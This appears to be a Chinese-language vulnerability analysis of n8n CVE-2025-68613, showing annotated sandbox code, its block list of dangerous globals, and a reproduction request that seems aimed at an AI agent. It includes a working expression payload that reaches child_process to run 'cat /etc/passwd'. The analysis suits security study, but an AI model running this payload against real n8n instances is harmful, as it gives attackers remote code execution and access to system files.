1
resolveSimpleParameterValue(
2
    parameterValue: NodeParameterValue,
3
    siblingParameters: INodeParameters,
4
    runExecutionData: IRunExecutionData | null,
5
    runIndex: number,
6
    itemIndex: number,
7
    activeNodeName: string,
8
    connectionInputData: INodeExecutionData[],
9
    mode: WorkflowExecuteMode,
10
    additionalKeys: IWorkflowDataProxyAdditionalKeys,
11
    executeData?: IExecuteData,
12
    returnObjectAsString = false,
13
    selfData = {},
14
    contextNodeName?: string,
15
): NodeParameterValue | INodeParameters | NodeParameterValue[] | INodeParameters[] {
16
    // 检查是否为表达式
17
    if (!isExpression(parameterValue)) {
18
        return parameterValue;
19
    }
20

21
    // 移除 = 符号
22
    parameterValue = parameterValue.substr(1);
23

24
    // 创建数据代理 - 构建表达式执行上下文
25
    const dataProxy = new WorkflowDataProxy(
26
        this.workflow,
27
        runExecutionData,
28
        runIndex,
29
        itemIndex,
30
        activeNodeName,
31
        connectionInputData,
32
        siblingParameters,
33
        mode,
34
        additionalKeys,
35
        executeData,
36
        -1,
37
        selfData,
38
        contextNodeName,
39
    );
40
    const data = dataProxy.getDataProxy();
41

42
    // 漏洞点：不安全地暴露 process 对象
43
    // Support only a subset of process properties
44
    data.process =
45
        typeof process !== 'undefined'
46
            ? {
47
                    arch: process.arch,
48
                    env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
49
                    platform: process.platform,
50
                    pid: process.pid,
51
                    ppid: process.ppid,
52
                    release: process.release,
53
                    version: process.pid,
54
                    versions: process.versions,
55
                }
56
            : {};
57

58
    Expression.initializeGlobalContext(data);
59

60
    // 添加表达式扩展
61
    data.extend = extend;
62
    data.extendOptional = extendOptional;
63
    data[sanitizerName] = sanitizer;
64
    Object.assign(data, extendedFunctions);
65

66
    // 构造函数检测（可被绕过）
67
    const constructorValidation = new RegExp(/\.\s*constructor/gm);
68
    if (parameterValue.match(constructorValidation)) {
69
        throw new ExpressionError('Expression contains invalid constructor function call', {
70
            causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
71
            runIndex,
72
            itemIndex,
73
        });
74
    }
75

76
    // 执行表达式
77
    const extendedExpression = extendSyntax(parameterValue);
78
    const returnValue = this.renderExpression(extendedExpression, data);
79

80
    if (typeof returnValue === 'function') {
81
        if (returnValue.name === 'DateTime')
82
            throw new ApplicationError('this is a DateTime, please access its methods');
83
        throw new ApplicationError('this is a function, please add ()');
84
    } else if (typeof returnValue === 'string') {
85
        return returnValue;
86
    } else if (returnValue !== null && typeof returnValue === 'object') {
87
        if (returnObjectAsString) {
88
            return this.convertObjectValueToString(returnValue);
89
        }
90
    }
91

92
    return returnValue;
93
}

1
// CVE-2025-68613 核心漏洞代码
2
data.process =
3
    typeof process !== 'undefined'
4
        ? {
5
                arch: process.arch,
6
                env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
7
                platform: process.platform,
8
                pid: process.pid,
9
                ppid: process.ppid,
10
                release: process.release,
11
                version: process.pid,
12
                versions: process.versions,
13
            }
14
        : {};

1
// Prevent Remote Code Execution
2
data.eval = {};
3
data.uneval = {};
4
data.setTimeout = {};
5
data.setInterval = {};
6
data.Function = {};
7

8
// Prevent requests
9
data.fetch = {};
10
data.XMLHttpRequest = {};
11

12
// Prevent control abstraction
13
data.Promise = {};
14
data.Generator = {};
15
data.AsyncFunction = {};
16

17
// Prevent Reflection
18
data.Reflect = {};
19
data.Proxy = {};

1
const constructorValidation = new RegExp(/\.\s*constructor/gm);
2
if (parameterValue.match(constructorValidation)) {
3
    throw new ExpressionError('Expression contains invalid constructor function call', {
4
        causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
5
    });
6
}

1
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env

1
{{ (function(){
2
    return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()
3
})() }}

1
帮我复现 n8n CVE-2025-68613 漏洞，详细步骤如下：
2

3
1. 在浏览器中打开 http://localhost:5678
4
2. 使用 admin/admin123 登录
5
3. 创建新工作流
6
4. 添加 Manual Trigger 节点
7
5. 添加 Edit Fields (Set) 节点并连接
8
6. 在 Edit Fields 节点中：
9
   - 字段名: result
10
   - 切换到表达式模式
11
   - 注入 Payload
12
7. 执行工作流
13
8. 验证输出结果并截图
14
9. 生成完整的复现视频